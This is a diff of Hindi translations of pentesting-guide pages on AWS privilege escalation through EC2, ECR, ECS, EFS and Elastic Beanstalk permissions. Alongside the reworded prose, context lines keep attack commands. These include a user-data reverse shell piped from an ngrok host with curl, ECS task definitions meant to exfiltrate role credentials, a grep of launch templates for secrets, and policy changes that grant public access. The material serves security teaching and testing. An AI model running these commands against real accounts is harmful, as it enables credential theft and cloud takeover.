+एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है।
ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**।
```bash
@@ -164,7 +164,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और **rev shell** को निष्पादित करेगा।
+एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **यूजर डेटा में** **एक रिवर्स शेल** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और रिवर्स शेल को निष्पादित करेगा।
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +178,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क।
+**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क।
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **यूजर डेटा** के अंदर **रिवर्स शेल** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
+एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **उपयोगकर्ता डेटा** के अंदर **rev shell** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और rev shell का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,11 +202,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
-अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं हैं** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियों की आवश्यकता है `iam:PassRole` और `ec2:RunInstances`** (जो एक ज्ञात प्रिवेस्क है)।
+अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं हैं** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)।
### `ec2-instance-connect:SendSSHPublicKey`
-एक हमलावर जिसके पास अनुमति है **`ec2-instance-connect:SendSSHPublicKey`** एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है।
+एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है।
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
@@ -217,9 +217,9 @@ aws ec2-instance-connect send-ssh-public-key \
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-जिस हमलावर के पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक धारावाहिक कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि धारावाहिक सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है।
+एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक सीरियल कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि सीरियल सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है।
-धारावाहिक पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है।**
+सीरियल पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है**।
```bash
aws ec2 enable-serial-console-access
@@ -231,9 +231,9 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा।
+यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना आवश्यक है।
-**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य नहीं) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।
+**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।
### `describe-launch-templates`,`describe-launch-template-versions`
@@ -250,11 +250,11 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
+उपरोक्त कमांड में, हालांकि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की संवेदनशील जानकारी के लिए खोजने के लिए एक अलग regex का उपयोग कर सकते हैं।
-Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
+मान लेते हैं कि हम `aws_access_key_id` और `aws_secret_access_key` पाते हैं, हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकरण के लिए कर सकते हैं।
-**संभावित प्रभाव:** IAM उपयोगकर्ता(ओं) के लिए सीधे विशेषाधिकार वृद्धि।
+**संभावित प्रभाव:** IAM उपयोगकर्ता(ों) के लिए सीधे विशेषाधिकार वृद्धि।
## संदर्भ
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index f5df05959..d9544c6ab 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -6,7 +6,7 @@
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-एक हमलावर जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** है, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है।
+एक हमलावर जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** हैं, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है।
इमेज डाउनलोड करने के तरीके के बारे में अधिक जानकारी के लिए:
@@ -18,7 +18,7 @@
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, **ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है**। यह उन वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ उन इमेज का उपयोग किया जा रहा है।
+एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, **ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है**। यह उन अन्य वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ ये इमेज उपयोग की जा रही हैं।
नई इमेज अपलोड करने/एक को अपडेट करने के तरीके के लिए, देखें:
@@ -32,8 +32,8 @@
### `ecr:SetRepositoryPolicy`
-एक हमलावर जिसके पास यह अनुमति है, वह **रिपॉजिटरी** **नीति** को **बदल** सकता है ताकि वह खुद (या यहां तक कि सभी) को **पढ़ने/लिखने की पहुँच** दे सके।\
-उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की पहुँच दी गई है।
+एक हमलावर जिसके पास यह अनुमति है, वह **रिपॉजिटरी** **नीति** को **बदल** सकता है ताकि वह खुद को (या यहां तक कि सभी को) **पढ़ने/लिखने की अनुमति** दे सके।\
+उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की अनुमति दी गई है।
```bash
aws ecr set-repository-policy \
--repository-name \
@@ -60,7 +60,7 @@ aws ecr set-repository-policy \
### `ecr-public:SetRepositoryPolicy`
पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।\
-एक हमलावर **रिपॉजिटरी नीति को संशोधित** कर सकता है एक ECR सार्वजनिक रिपॉजिटरी की ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके।
+एक हमलावर **ECR सार्वजनिक रिपॉजिटरी** की रिपॉजिटरी नीति को संशोधित कर सकता है ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके।
```bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
@@ -87,11 +87,11 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
-**संभावित प्रभाव**: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे कोई भी उपयोगकर्ता छवियों को पुश, पुल या हटा सकता है।
+**संभावित प्रभाव**: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे किसी भी उपयोगकर्ता को छवियों को पुश, पुल या हटाने की अनुमति मिलती है।
### `ecr:PutRegistryPolicy`
-इस अनुमति के साथ एक हमलावर **पॉलिसी** को **बदल** सकता है ताकि वह अपने लिए, अपने खाते (या यहां तक कि सभी के लिए) **पढ़ने/लिखने की पहुंच** प्रदान कर सके।
+इस अनुमति के साथ एक हमलावर **पॉलिसी** को **बदल** सकता है ताकि वह अपने लिए, अपने खाते के लिए (या यहां तक कि सभी के लिए) **पढ़ने/लिखने की पहुंच** प्रदान कर सके।
```bash
aws ecr set-repository-policy \
--repository-name \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 9108af6f3..27a24507c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -12,7 +12,7 @@ ECS के बारे में अधिक **जानकारी**:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** **बनाने** में सक्षम हो सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और **इसे चलाता है**।
+एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया टास्क परिभाषा** **बनाने** में सक्षम हो सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और **इसे चलाता है**।
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -37,7 +37,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\
-हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण की आवश्यकता होगी।
+हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण होना चाहिए।
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।**
+जैसे कि पिछले उदाहरण में, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -80,11 +80,11 @@ aws ecs update-service --cluster \
--service \
--task-definition
```
-**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
+**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेलेज वृद्धि।
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
-वास्तव में, केवल उन अनुमतियों के साथ, यह ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेश निष्पादित करना संभव है जैसे:
+वास्तव में, केवल उन अनुमतियों के साथ, यह किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेशों को निष्पादित करने के लिए ओवरराइड्स का उपयोग करना संभव है, जैसे:
```bash
aws ecs run-task \
--task-definition "" \
@@ -98,7 +98,7 @@ aws ecs run-task \
यह परिदृश्य पिछले वाले के समान है लेकिन **`iam:PassRole`** अनुमति के **बिना**।\
यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, आप **नोड पर भागने के लिए एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं** और **EC2 IAM भूमिका** और **अन्य ECS कंटेनरों की भूमिकाएँ** चुरा सकते हैं जो नोड में चल रही हैं।\
-आप यहां तक कि **उन अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनके क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)।
+आप यहां तक कि **अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)।
> [!WARNING]
> यह हमला केवल तभी संभव है जब **ECS क्लस्टर EC2** उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं।
@@ -144,8 +144,8 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\
-हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चला रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)।
+एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** है जिससे वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और उससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\
+हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)।
इसलिए, हमलावर कोशिश कर सकता है:
@@ -172,13 +172,13 @@ aws ecs execute-command --interactive \
- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक सेवा बनाएँ।
- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक सेवा अपडेट करें।
-आप **पिछले ECS privesc अनुभागों** में **इन विकल्पों के उदाहरण** पा सकते हैं।
+आप **इन विकल्पों के उदाहरण** **पिछले ECS privesc अनुभागों** में पा सकते हैं।
-**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में privesc।
+**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में प्रिविलेज़ वृद्धि।
### `ssm:StartSession`
-देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में privesc** हो सके:
+देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं **ECS में प्रिविलेज़ वृद्धि** के लिए:
{{#ref}}
aws-ssm-privesc.md
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
-देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में privesc** हो सके:
+देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं **ECS में प्रिविलेज़ वृद्धि** के लिए:
{{#ref}}
aws-ec2-privesc.md
@@ -201,7 +201,7 @@ TODO: क्या किसी अन्य AWS खाते से एक उ
> [!NOTE]
> TODO: इसका परीक्षण करें
-जिस हमलावर के पास अनुमतियाँ `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` हैं, वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है।
+एक हमलावर जिसके पास अनुमतियाँ हैं `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है।
```bash
bashCopy code# Register a task definition with a reverse shell
echo '{
@@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
-**संभावित प्रभाव**: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, संभावित रूप से इसकी कार्यक्षमता को प्रभावित करते हुए या संवेदनशील डेटा को बाहर निकालते हुए।
+**संभावित प्रभाव**: प्रभावित सेवा में मनमाना कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है।
## संदर्भ
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index b66915f95..7a93277bd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -4,17 +4,17 @@
## EFS
-EFS के बारे में अधिक **जानकारी**:
+**EFS के बारे में अधिक जानकारी** यहाँ है:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि इसे IAM नीतियों द्वारा सुरक्षित किया गया है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियों की आवश्यकता होगी।
+याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि यह IAM नीतियों द्वारा सुरक्षित है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियाँ होनी चाहिए।
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-इनमें से किसी भी अनुमति के साथ, एक हमलावर **फाइल सिस्टम नीति** को **बदल सकता है** ताकि आपको इसकी **पहुँच** मिल सके, या इसे **हटाने** के लिए ताकि **डिफ़ॉल्ट पहुँच** प्रदान की जा सके।
+इनमें से किसी भी अनुमति के साथ, एक हमलावर **फाइल सिस्टम नीति** को **बदल सकता है** ताकि आपको इसकी **पहुँच मिल सके**, या इसे **हटाने** के लिए ताकि **डिफ़ॉल्ट पहुँच** प्रदान की जा सके।
नीति को हटाने के लिए:
```bash
@@ -58,13 +58,13 @@ aws efs put-file-system-policy --file-system-id --policy file:///tmp/pol
sudo mkdir /efs
sudo mount -t efs -o tls,iam :/ /efs/
```
-The extra permissions `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग **write** करने के लिए किया जा सकता है जब यह फाइल सिस्टम माउंट किया गया हो और **access** करने के लिए उस फाइल सिस्टम को **root** के रूप में।
+अतिरिक्त अनुमतियाँ `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग **लेखन** के लिए किया जा सकता है जब यह फ़ाइल सिस्टम माउंट किया गया हो और **रूट** के रूप में उस फ़ाइल सिस्टम **तक पहुँच** प्राप्त करने के लिए।
-**Potential Impact:** फाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।
+**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।
### `elasticfilesystem:CreateMountTarget`
-यदि आप एक हमलावर हैं जो एक **subnetwork** के अंदर हैं जहाँ EFS का **कोई माउंट टारगेट** नहीं है। वह बस इस विशेषाधिकार के साथ **अपने सबनेट में एक बना सकता है**:
+यदि आप एक हमलावर हैं जो एक **उपनेटवर्क** के अंदर हैं जहाँ EFS का **कोई माउंट टारगेट** नहीं है। वह इस विशेषाधिकार के साथ **अपने उपनेट में एक बना सकता है**:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id \
@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन **कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है**:
+एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन **कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है:**
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 39213a6bd..72dfa1a0f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -38,17 +38,17 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
-- एक AWS Elastic Beanstalk वातावरण बनाएं ([**समर्थित प्लेटफ़ॉर्म**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- एक AWS Elastic Beanstalk वातावरण ([**समर्थित प्लेटफ़ॉर्म**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
-यदि एक वातावरण पहले से ही बनाया गया है और आप **नया नहीं बनाना चाहते**, तो आप बस मौजूदा को **अपडेट** कर सकते हैं।
+यदि एक वातावरण पहले से ही बनाया गया है और आप **नया नहीं बनाना चाहते**, तो आप बस **मौजूदा** को **अपडेट** कर सकते हैं।
- अपने एप्लिकेशन कोड और निर्भरताओं को एक ZIP फ़ाइल में पैक करें:
```python
zip -r MyApp.zip .
```
-- S3 बकेट में ZIP फ़ाइल अपलोड करें:
+- ZIP फ़ाइल को S3 बकेट में अपलोड करें:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip
```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
```
